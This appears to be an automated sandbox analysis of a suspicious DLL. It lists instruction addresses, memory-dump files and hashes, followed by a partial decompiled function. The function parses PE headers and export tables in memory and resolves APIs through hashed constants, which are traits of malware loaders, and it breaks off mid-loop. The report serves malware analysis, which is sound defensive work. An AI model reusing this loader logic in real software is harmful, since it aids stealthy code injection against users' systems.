0x6ed31ef8
0x6ed31efd
0x6ed31f0f
0x6ed31f14
0x6ed31f19
0x6ed31f2b
0x6ed31f30
0x6ed31f35
0x6ed31f47
0x6ed31f4c
0x6ed31f51
0x6ed31f63
0x6ed31f68
0x6ed31f6d
0x6ed31f7f
0x6ed31f84
0x6ed31f89
0x6ed31f9b
0x6ed31fa0
0x6ed31fa5
0x6ed31fba
0x6ed31fbf
0x6ed31fc4
0x6ed31fd9
0x6ed31fde
0x6ed31fe3
0x6ed31ff8
0x6ed31ffd
0x6ed32002
0x6ed32017
0x6ed3201c
0x6ed32021
0x6ed32036
0x6ed3203b
0x6ed32040
0x6ed32055
0x6ed3205a
0x6ed3205f
0x6ed32074
0x6ed32079
0x6ed3207e
0x6ed32093
0x6ed32098
0x6ed3209d
0x6ed320b2
0x6ed320b7
0x6ed320bc
0x6ed320ce
0x6ed320d3
0x6ed320d8
0x6ed320df
0x6ed320ea
0x6ed320ef
0x6ed320f4
0x6ed320f8
0x6ed320f9
0x6ed32104
0x6ed3210c
0x6ed32110
0x6ed32114
0x6ed32115
0x6ed32119
0x6ed3211d
0x6ed32121
0x6ed32125
0x6ed3212b
0x6ed32133
0x6ed32137
0x6ed32137
0x6ed3213d
0x6ed32142
0x6ed32146
0x6ed3214e
0x6ed32157
0x6ed3215d
0x6ed32166
0x6ed3216c
0x6ed32172
0x6ed32178
0x6ed32180
0x6ed32186
0x6ed3218c
0x6ed32197
0x6ed321ab
0x6ed321b4
0x6ed321bd
0x6ed321c6
0x6ed321c8
0x6ed321d1
0x6ed321d5
0x6ed321de
0x00000000
0x6ed321e4
0x6ed321e4
0x6ed321f0
0x6ed32203
0x6ed32215
0x6ed32220
0x6ed32227
0x6ed3222d
0x6ed32231
0x6ed32236
0x6ed3223e
0x6ed32242
0x6ed3224b
0x6ed32253
0x6ed32259
0x6ed3225d
0x6ed32261
0x6ed3226b
0x6ed3226c
0x6ed32272
0x6ed32276
0x6ed32277
0x6ed3227b
0x6ed32281
0x6ed32285
0x6ed32289
0x6ed3228f
0x6ed32295
0x6ed3229a
0x6ed3229c
0x6ed327c5
0x6ed327cc
0x6ed327d1
0x6ed322a2
0x6ed322a9
0x6ed322ab
0x00000000
0x6ed322b1
0x6ed322bb
0x6ed322c0
0x6ed322d1
0x6ed322e0
0x6ed322fc
0x6ed3230a
0x6ed32311
0x6ed3231d
0x6ed32329
0x6ed3232e
0x6ed3232e
0x6ed3232e
0x6ed322ab
0x6ed32334
0x6ed3233a
0x6ed327ad
0x6ed327b1
0x6ed327b5
0x6ed327bc
0x00000000
0x00000000
0x00000000
0x6ed3233a
0x6ed32356
0x6ed32364
0x6ed32370
0x6ed32375
0x6ed32384
0x6ed32388
0x6ed3239e
0x6ed323ba
0x6ed323bf
0x6ed323cb
0x6ed323cf
0x6ed323d2
0x6ed323da
0x6ed323f0
0x6ed3240c
0x6ed32411
0x6ed3241d
0x6ed32421
0x6ed32424
0x6ed3242c
0x6ed32442
0x6ed3245e
0x6ed32463
0x6ed3246f
0x6ed32473
0x6ed32476
0x6ed3247e
0x6ed32494
0x6ed324a5
0x6ed324b0
0x6ed324b7
0x6ed324c3
0x6ed324c4
0x6ed324c8
0x6ed324c9
0x6ed324d5
0x6ed324e3
0x6ed324e8
0x6ed324ed
0x6ed324ff
0x6ed32504
0x6ed32509
0x6ed3251b
0x6ed32520
0x6ed32525
0x6ed32537
0x6ed3253c
0x6ed32548
0x6ed3254d
0x6ed32559
0x6ed32565
0x6ed32566
0x6ed32571
0x6ed32575
0x6ed32576
0x6ed3257a
0x6ed3257e
0x6ed32587
0x6ed3258b
0x6ed3258f
0x6ed325ac
0x6ed325c0
0x6ed325c7
0x00000000
0x6ed32340
0x6ed32340
0x6ed32340
0x6ed32348
0x6ed32348
0x6ed3234a
0x6ed3234e
0x6ed32352
0x00000000
0x6ed32352
0x6ed325cc
0x6ed325cc
0x6ed325d0
0x6ed325d2
0x6ed325d4
0x6ed325d9
0x6ed325db
0x6ed325de
0x6ed325ec
0x6ed325f1
0x6ed325f4
0x6ed325f6
0x6ed325f8
0x6ed325f8
0x6ed325fb
0x6ed32603
0x6ed32650
0x6ed32650
0x6ed32658
0x6ed326a5
0x6ed326ac
0x6ed326b8
0x6ed326c4
0x6ed326d0
0x6ed326dc
0x6ed326ef
0x6ed3265a
0x6ed32669
0x6ed3266b
0x6ed3266d
0x6ed3266f
0x6ed3266f
0x6ed32687
0x6ed32687
0x6ed32693
0x6ed32698
0x6ed3269a
0x00000000
0x6ed3269c
0x6ed3269c
0x6ed326a3
0x6ed326a4
0x6ed326a4
0x6ed3269a
0x6ed32605
0x6ed32614
0x6ed32616
0x6ed32618
0x6ed3261a
0x6ed3261a
0x6ed32632
0x6ed32632
0x6ed3263e
0x6ed32643
0x6ed32645
0x00000000
0x6ed32647
0x6ed32647
0x6ed3264e
0x6ed3264f
0x6ed3264f
0x6ed32645
0x6ed317dc
0x6ed317de
0x6ed317f4
0x6ed317f6
0x6ed317f8
0x00000000
0x6ed317fa
0x6ed317fa
0x6ed31802
0x6ed3180b
0x6ed3180b
0x6ed31810
0x6ed31818
0x00000000
0x6ed3181e
0x6ed31828
0x6ed3182d
0x6ed3182f
0x6ed31852
0x6ed31857
0x6ed31859
0x00000000
0x6ed3185f
0x6ed3185f
0x6ed31863
0x6ed31864
0x6ed31864
0x6ed31831
0x6ed31831
0x6ed31837
0x6ed31839
0x6ed3183a
0x6ed3183b
0x6ed3183c
0x6ed3183e
0x6ed31845
0x6ed31846
0x6ed31847
0x6ed31847
0x6ed3182f
0x6ed31818
0x6ed317f8
0x6ed31784
0x6ed31786
0x6ed3179c
0x6ed3179e
0x6ed317a0
0x00000000
0x6ed317a2
0x6ed317a2
0x6ed317aa
0x00000000
0x00000000
0x6ed317b0
0x00000000
0x6ed317aa
0x6ed317a0
0x6ed31759
0x6ed31759
0x6ed31760
0x6ed31762
0x6ed31763
0x6ed31763
0x6ed31757
0x6ed316d4
0x6ed316d4
0x6ed316dc
0x6ed3274f
0x6ed32756
0x00000000
0x6ed316e2
0x6ed3275b
0x6ed32762
0x6ed3276e
0x6ed3277a
0x6ed32786
0x6ed32792
0x6ed32797
0x6ed327a5
0x6ed327a5
0x6ed3168a
0x6ed3168a
0x6ed31693
0x6ed31694
0x6ed31699
0x6ed3169b
0x6ed3169c
0x6ed3169d
0x6ed316a9
0x6ed316aa
0x6ed316ab
0x6ed316ab
0x6ed315ca
0x6ed315d1
0x6ed315e7
0x6ed315e7

Strings

)8GV, xrefs: 6ED327FD
)8GV, xrefs: 6ED31956

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: )8GV$)8GV
API String ID: 0-993736920
Opcode ID: 2e9868b3015323367ebd7a62934813865666bf6395669e99b1cecbd4fbb347ea
Instruction ID: 8de93cfef9039c78b7c6a20ef0917499598b723208be1ca8ce817778bd7a5cd5
Opcode Fuzzy Hash: 2e9868b3015323367ebd7a62934813865666bf6395669e99b1cecbd4fbb347ea
Instruction Fuzzy Hash: A6A294719187819AE730DFA4CD51BEFB3E8AFE2218F004E1DE19956292FF309558C762

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3ACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E6ED3ACD0(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v28;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				char _v120;
				signed int _v124;
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				char _v148;
				char _v156;
				char _v160;
				char _v164;
				signed int _v168;
				char _v172;
				char _v176;
				char _v180;
				signed int _v192;
				char _v196;
				char _v200;
				char _v216;
				char _v220;
				char _v232;
				char _v248;
				void* _v252;
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				void* _v276;
				char _v280;
				signed int _v284;
				char _v288;
				char _v292;
				intOrPtr _v296;
				signed int _v300;
				signed int _v304;
				char _v308;
				char _v312;
				char _v316;
				signed int _v320;
				char _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				void* _v364;
				char _v368;
				void* _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				void* _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				void* _v440;
				char _v444;
				void* _v448;
				char _v452;
				char _v460;
				intOrPtr _v464;
				void* _v468;
				void* _v472;
				void* _v476;
				char _v480;
				void* _v484;
				void* _v488;
				intOrPtr _v492;
				void* _v496;
				void* _v500;
				void* _v504;
				intOrPtr _v508;
				void* _v520;
				void* _v524;
				void* _v528;
				void* _v532;
				char _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				void* _v548;
				intOrPtr _v552;
				void* _v556;
				char _v560;
				signed short* _v564;
				signed int _v568;
				signed int _v572;
				char _v576;
				intOrPtr _v580;
				signed int _v584;
				void* _v588;
				void* _v592;
				void* _v596;
				char _v604;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v636;
				intOrPtr _v640;
				char _v644;
				void* _v648;
				signed int _v656;
				char _v660;
				char _v668;
				char _v676;
				signed int _v680;
				intOrPtr _v700;
				void* _v704;
				void* _v708;
				void* _v716;
				intOrPtr _v724;
				intOrPtr _v732;
				signed int _v736;
				signed int _v740;
				intOrPtr _v744;
				void* _v748;
				void* _v756;
				void* _v764;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v784;
				void* _v788;
				void* _v796;
				void* _v800;
				void* _v804;
				void* _v808;
				void* _v812;
				void* _v816;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				void* _v852;
				void* _v856;
				void* _v860;
				void* _v868;
				void* _v872;
				void* _v876;
				void* _v880;
				void* _v888;
				void* _v892;
				void* _v908;
				void* _v940;
				void* _v944;
				void* _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t632;
				void* _t667;
				signed int _t672;
				char _t747;
				signed int _t768;
				signed int _t770;
				signed int _t778;
				char* _t781;
				signed int _t782;
				signed int _t793;
				signed int _t795;
				char* _t798;
				signed int _t799;
				signed int _t810;
				signed int _t812;
				signed int _t813;
				signed int _t815;
				intOrPtr _t865;
				intOrPtr _t900;
				signed int _t911;
				char _t974;
				signed char* _t1005;
				signed int _t1006;
				void* _t1008;
				void* _t1011;
				intOrPtr _t1017;
				signed int _t1021;
				char _t1030;
				char _t1035;
				signed int _t1036;
				char* _t1038;
				signed int _t1040;
				signed int _t1041;
				signed int* _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				void* _t1055;
				void* _t1065;
				char* _t1154;
				signed int _t1326;
				signed short* _t1435;
				void* _t1438;
				char* _t1449;
				char* _t1452;
				signed int _t1455;
				signed int _t1457;
				signed int _t1459;
				signed int _t1460;
				signed int _t1465;
				signed int _t1466;
				signed int _t1467;
				signed int _t1481;
				void* _t1485;
				signed int _t1487;
				char _t1498;
				void* _t1499;
				void* _t1500;
				char _t1503;
				void* _t1514;
				void* _t1518;
				char _t1531;
				signed int _t1537;
				signed int _t1538;
				signed int _t1539;
				char _t1540;
				intOrPtr _t1542;
				signed int _t1543;
				signed int _t1545;
				void* _t1547;
				void* _t1567;
				void* _t1569;
				signed int _t1570;
				void* _t1572;
				void* _t1573;
				void* _t1574;
				void* _t1576;

				_t1572 = (_t1570 & 0xfffffff0) - 0x254;
				_v540 = __edx;
				_v28 = __ecx;
				_t1534 =  *((intOrPtr*)(__ecx + 0xc));
				E6ED415C0(0x57325ee3, 0xb7186560);
				_push(0);
				E6ED59350( &_v192);
				_v180 = 0;
				_push(0);
				E6ED59350( &_v176);
				_push(0);
				E6ED59350( &_v76);
				_v536 = 0x58d59bc9;
				asm("pxor xmm0, xmm0");
				asm("movq [esp+0x68], xmm0");
				E6ED59670( &_v80, E6ED59650( &_v80) + 0x10);
				E6ED59640( &_v84, E6ED59650( &_v84) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v544 = 0x3b4caff7;
				asm("movq [esp+0x68], xmm1");
				E6ED59670( &_v88, E6ED59650( &_v88) + 0x10);
				E6ED59640( &_v92, E6ED59650( &_v92) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v552 = 0xd9ff67e3;
				asm("movq [esp+0x68], xmm1");
				E6ED59670( &_v96, E6ED59650( &_v96) + 0x10);
				E6ED59640( &_v100, E6ED59650( &_v100) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v560 = 0xbcd9ca71;
				asm("movq [esp+0x68], xmm1");
				E6ED59670( &_v104, E6ED59650( &_v104) + 0x10);
				E6ED59640( &_v108, E6ED59650( &_v108) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v568 = 0x1be15feb;
				asm("movq [esp+0x68], xmm1");
				E6ED59670( &_v112, E6ED59650( &_v112) + 0x10);
				E6ED59640( &_v116, E6ED59650( &_v116) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v576 = 0xebe915fa;
				asm("movq [esp+0x68], xmm1");
				E6ED59670( &_v120, E6ED59650( &_v120) + 0x10);
				E6ED59640( &_v124, E6ED59650( &_v124) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("movups [eax], xmm0");
				E6ED61270(0x588ab3ea,  &_v128);
				E6ED59640( &_v128, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1d8], xmm0");
				E6ED59640( &_v132, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1e0], xmm0");
				E6ED59640( &_v136, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f0], xmm0");
				E6ED59640( &_v140, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f8], xmm0");
				E6ED59640( &_v144, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x200], xmm0");
				E6ED59640( &_v148, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [eax-0x38], xmm0");
				 *((intOrPtr*)( &_v128 - 0x98)) = _t1534;
				E6ED3D570( &_v280,  &_v136,  &_v128);
				_t1487 = _v140;
				_t1027 = _v136;
				if((_t1487 | _v136) != 0) {
					_push(0x40);
					E6ED59350( &_v288);
					E6ED60FA0(_t1534, E6ED59640( &_v292, 0), __eflags, _t1487, _t1027, 0x40, 0);
					_t1435 = E6ED59640( &_v312, 0);
					__eflags = ( *_t1435 & 0x0000ffff) - 0x5a4d;
					if(( *_t1435 & 0x0000ffff) == 0x5a4d) {
						asm("cdq");
						_v560 = _t1435[0x1e] + _t1487;
						asm("adc edx, ebx");
						_v564 = _t1435;
						_push(0x108);
						E6ED59350( &_v388);
						E6ED60FA0(_t1534, E6ED59640( &_v392, 0), __eflags, _v568, _v572, 0x108, 0);
						_push( &_v412);
						E6ED59520( &_v316);
						E6ED59510( &_v416);
						_t632 = E6ED59640( &_v320, 0);
						__eflags =  *_t632 - 0x4550;
						if( *_t632 != 0x4550) {
							goto L3;
						} else {
							_t1481 =  *(_t632 + 0x88);
							_v568 = _t1481;
							_v572 =  *((intOrPtr*)(_t632 + 0x8c));
							__eflags = _t1481;
							if(_t1481 == 0) {
								goto L3;
							} else {
								__eflags = _v572;
								if(_v572 == 0) {
									goto L3;
								} else {
									_push(_v572);
									E6ED59350( &_v396);
									_t1011 = E6ED59640( &_v400, 0);
									asm("adc ebx, 0x0");
									E6ED60FA0(_t1534, _t1011, __eflags, _t1487 + _v576, _t1027, _v580, 0);
									_push( &_v420);
									E6ED59520( &_v324);
									E6ED59510( &_v424);
									_t1065 = E6ED59640( &_v328, 0);
									_t1017 =  *((intOrPtr*)(_t1572 + 0x44));
									 *((intOrPtr*)(_t1065 + 0x1c)) =  *((intOrPtr*)(_t1065 + 0x1c)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x24)) =  *((intOrPtr*)(_t1065 + 0x24)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x20)) =  *((intOrPtr*)(_t1065 + 0x20)) - _t1017;
									_t1485 = E6ED59640( &_v332,  *((intOrPtr*)(_t1065 + 0x20)) - _t1017);
									__eflags =  *(_t1065 + 0x18);
									if( *(_t1065 + 0x18) > 0) {
										_v560 = _t1534;
										_t1021 = 0;
										__eflags = 0;
										_t1531 = _v576;
										while(1) {
											_t1021 = _t1021 + 1;
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) - _t1531;
											_t554 = _t1021 - 1; // 0x0
											_t1567 = _t1021 + _t1021;
											__eflags = _t1021 + _t554 -  *(_t1065 + 0x18);
											if(_t1021 + _t554 >=  *(_t1065 + 0x18)) {
												break;
											}
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) - _t1531;
											__eflags = _t1567 -  *(_t1065 + 0x18);
											if(_t1567 <  *(_t1065 + 0x18)) {
												continue;
											}
											break;
										}
										_t1534 = _v560;
									}
									_push( &_v308);
									E6ED593D0( &_v292);
								}
							}
						}
					} else {
						L3:
						_push(0);
						E6ED59350( &_v284);
					}
					E6ED59510( &_v304);
					E6ED5A110( &_v88);
					_v544 = 0x41195991;
					asm("pxor xmm0, xmm0");
					asm("movq [esp+0x68], xmm0");
					E6ED59670( &_v88, E6ED59650( &_v88) + 0x10);
					E6ED59640( &_v92, E6ED59650( &_v92) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v552 = 0x77be1f6;
					asm("movq [esp+0x68], xmm1");
					E6ED59670( &_v96, E6ED59650( &_v96) + 0x10);
					E6ED59640( &_v100, E6ED59650( &_v100) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v560 = 0xb5cdecc0;
					asm("movq [esp+0x68], xmm1");
					E6ED59670( &_v104, E6ED59650( &_v104) + 0x10);
					E6ED59640( &_v108, E6ED59650( &_v108) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					_t1573 = _t1572 + 0xfffffff4;
					asm("movups [eax], xmm0");
					asm("movq xmm1, [edx+0xd8]");
					asm("movq [esp], xmm1");
					_v668 =  &_v112;
					E6ED3E780( &_v312, _t1534, __eflags);
					E6ED59640( &_v124, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x1e8], xmm0");
					E6ED59640( &_v128, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x210], xmm0");
					_t1438 = E6ED59640( &_v132, 0x20);
					_v268 =  *((intOrPtr*)(_t1438 + 8));
					 *((intOrPtr*)(_t1573 + 0x218)) =  *((intOrPtr*)(_t1438 + 0xc));
					_push(0);
					E6ED59350( &_v320);
					_push(0);
					E6ED59350( &_v308);
					_push(0);
					_push( *0x6ed69d74);
					E6ED41BA0(__eflags,  &_v284);
					E6ED59B10( &_v340);
					E6ED50B10( &_v284);
					E6ED59670( &_v328, E6ED59A90( &_v344, _t1534));
					_t667 = E6ED59640( &_v348, 0);
					E6ED3AC20(_t1569, _t667, E6ED59640( &_v336, 0), _v296);
					_t1574 = _t1573 + 8;
					_t1030 = E6ED59650( &_v340);
					_t95 = _t1030 + 2; // 0x2
					_v180 = E6ED3D860( &_v300, 0x20000000, __eflags, _t95);
					_v640 = 0x20000000;
					_t672 = E6ED3DB60( &_v304, 0x80000000, __eflags, 0x82);
					_v192 = _t672;
					 *(_t1574 + 0x220) = 0x80000000;
					__eflags = _t672 |  *(_t1574 + 0x220);
					if((_t672 |  *(_t1574 + 0x220)) == 0) {
						L6:
						E6ED59510( &_v288);
						E6ED59510( &_v304);
						E6ED59510( &_v320);
						E6ED59510( &_v120);
						E6ED3E2F0(_t1030, _t1574 + 0x1bc, _t1569);
						E6ED59510(_t1574 + 0x1ac);
						__eflags = 0;
						return 0;
					} else {
						__eflags = _v124 | _v584;
						if((_v124 | _v584) != 0) {
							E6ED40B70( &_v560, 0, 0x80);
							_t1576 = _t1574 + 0xc;
							_v464 = _a4;
							_push(0);
							_push(0);
							E6ED62060(_t1030,  &_v400, 0, _t1534);
							_v348 =  *((intOrPtr*)(_t1576 + 0x48));
							_t1449 =  &_v408;
							 *((intOrPtr*)(_t1449 + 0x38)) = _a8;
							_push(_t1449);
							E6ED3E090( &_v384, _t1534,  &_v352);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xb0], xmm1");
							_v508 = E6ED59650(_a8);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xc0], xmm1");
							_v492 = E6ED59650(_v620);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [edi-0xb8], xmm1");
							E6ED60FA0(_t1534,  &_v460, __eflags, _v272, _v156, 7,  &_v292);
							_t1154 =  &_v156;
							 *((intOrPtr*)(_t1154 - 0x148)) = _v288;
							 *((intOrPtr*)(_t1154 - 0x144)) =  *((intOrPtr*)(_t1154 - 0x10));
							E6ED5A110(_t1154);
							_v612 = 0x9cac62c7;
							asm("pxor xmm0, xmm0");
							asm("movq [esp+0x68], xmm0");
							E6ED59670( &_v156, E6ED59650( &_v156) + 0x10);
							E6ED59640( &_v160, E6ED59650( &_v160) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v620 = 0xa8f2638d;
							asm("movq [esp+0x68], xmm1");
							E6ED59670( &_v164, E6ED59650( &_v164) + 0x10);
							E6ED59640( &_v168, E6ED59650( &_v168) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v628 = 0xd8cc7390;
							asm("movq [esp+0x68], xmm1");
							E6ED59670( &_v172, E6ED59650( &_v172) + 0x10);
							E6ED59640( &_v176, E6ED59650( &_v176) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v636 = 0x6a68465a;
							asm("movq [esp+0x68], xmm1");
							E6ED59670( &_v180, E6ED59650( &_v180) + 0x10);
							E6ED59640(_t1576 + 0x22c, E6ED59650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v644 = 0x58d59bc9;
							asm("movq [esp+0x68], xmm1");
							E6ED59670(_t1576 + 0x22c, E6ED59650(_t1576 + 0x228) + 0x10);
							E6ED59640( &_v192, E6ED59650( &_v192) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							 *((intOrPtr*)(_t1576 + 0x60)) = 0xe9fbf3a8;
							asm("movq [esp+0x68], xmm1");
							E6ED59670( &_v196, E6ED59650( &_v196) + 0x10);
							E6ED59640( &_v200, E6ED59650( &_v200) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v660 = 0x649746ec;
							asm("movq [esp+0x68], xmm1");
							E6ED59670(_t1576 + 0x22c, E6ED59650(_t1576 + 0x228) + 0x10);
							E6ED59640(_t1576 + 0x22c, E6ED59650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v668 = 0x35b39b2b;
							asm("movq [esp+0x68], xmm1");
							E6ED59670(_t1576 + 0x22c, E6ED59650(_t1576 + 0x228) + 0x10);
							E6ED59640( &_v216, E6ED59650( &_v216) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							_t1452 =  &_v220;
							asm("movups [eax], xmm0");
							E6ED61270(0x588ab3ea, _t1452);
							E6ED59640( &_v220, 0);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x70], xmm0");
							E6ED59640(_t1576 + 0x22c, 0x10);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x78], xmm0");
							E6ED59640(_t1576 + 0x22c, 0x20);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x80], xmm0");
							E6ED59640( &_v232, 0x30);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x88], xmm0");
							E6ED59640(_t1576 + 0x22c, 0x40);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x90], xmm0");
							E6ED59640(_t1576 + 0x22c, 0x50);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x98], xmm0");
							E6ED59640(_t1576 + 0x22c, 0x60);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0xa0], xmm0");
							E6ED59640( &_v248, 0x70);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [ecx-0x100], xmm0");
							_t747 = E6ED3D530( &_v380, _t1452);
							_v396 = _t747;
							_v400 = _t1452;
							_t1496 = _t1452 - 0xffffffff;
							__eflags = _t747 - 0xffffffff | _t1452 - 0xffffffff;
							if((_t747 - 0xffffffff | _t1452 - 0xffffffff) == 0) {
								E6ED3E230( &_v388);
								E6ED62530(_t1030,  &_v412, 0xffffffff, _t1496, _t1534);
								E6ED59510( &_v300);
								E6ED59510( &_v316);
								E6ED59510( &_v332);
								E6ED59510( &_v132);
								E6ED3E2F0(_t1030, _t1576 + 0x1bc, _t1569);
								E6ED59510( &_v256);
								__eflags = 0;
								return 0;
							} else {
								_t1455 = _v108 | _v104;
								__eflags = _t1455;
								if(_t1455 == 0) {
									_v604 = _t1030;
									_t1498 = 0;
									__eflags = 0;
									 *((intOrPtr*)(_t1576 + 0x54)) = _t1534;
									do {
										_push(0);
										E6ED59350( &_v428);
										E6ED416B0(_t1498, _t1534,  &_v376, 0x57325ee3);
										E6ED4FDB0( &_v384,  &_v376);
										_t1456 = 0x7fffffff;
										E6ED59710( &_v444, _v380, E6ED56040(_v380, 0x7fffffff));
										E6ED50B10( &_v388);
										E6ED48CA0( &_v396);
										_t1537 = _v168;
										_t1034 =  *((intOrPtr*)( &_v452 + 0x120));
										_t768 = E6ED59650( &_v452);
										__eflags = _t768;
										if(_t768 <= 0) {
											L25:
											asm("movq xmm0, [esp+0x200]");
											asm("movq [esp], xmm0");
											asm("pxor xmm2, xmm2");
											_v680 = 5;
											_v676 = _v280;
											asm("movq xmm1, [esp+0x210]");
											 *(_t1576 + 0x10) = _v284;
											asm("movq [esp+0x14], xmm1");
											_t1034 = _v148;
											_v660 = _v148;
											_t1534 = _v144;
											_v656 = _v144;
											asm("movq [esp+0x24], xmm2");
											asm("movq [esp+0x2c], xmm2");
											_t770 = E6ED604B0(_t1498, _v144);
											__eflags = _t770;
											if(_t770 == 0) {
												E6ED422A0(0x3e8, _t1456);
												E6ED59510( &_v432);
												_t1455 =  &_v120;
												E6ED3D570( &_v264, _t1455,  &_v112);
												__eflags = _v116 | _v112;
												if((_v116 | _v112) != 0) {
													_t1030 =  *((intOrPtr*)(_t1576 + 0x50));
													_t1534 = _v604;
													goto L9;
												} else {
													_t974 = E6ED3D530( &_v264, _t1455);
													_v280 = _t974;
													_v284 = _t1455;
													_t1479 = _t1455 - 0xffffffff;
													__eflags = _t974 - 0xffffffff | _t1455 - 0xffffffff;
													if((_t974 - 0xffffffff | _t1455 - 0xffffffff) == 0) {
														E6ED3E230( &_v392);
														E6ED62530(_t1034,  &_v416, _t1479, _t1498, _t1534);
														E6ED59510( &_v304);
														E6ED59510( &_v320);
														E6ED59510( &_v336);
														E6ED59510( &_v136);
														E6ED3E2F0(_t1034, _t1576 + 0x1bc, _t1569);
														E6ED59510( &_v260);
														__eflags = 0;
														return 0;
													} else {
														goto L29;
													}
												}
											} else {
												goto L26;
											}
										} else {
											__eflags = 0;
											_v624 = _t1498;
											_t1498 = _t1537;
											_t1534 = 0;
											while(1) {
												_t1005 = E6ED59640( &_v432, _t1534);
												asm("movq xmm0, [esp+0x200]");
												asm("movq [esp], xmm0");
												 *((intOrPtr*)(_t1576 + 8)) = 5;
												_v680 = _v284;
												asm("movq xmm1, [esp+0x1f8]");
												_v676 = _v288;
												_t1456 =  *_t1005 & 0x000000ff;
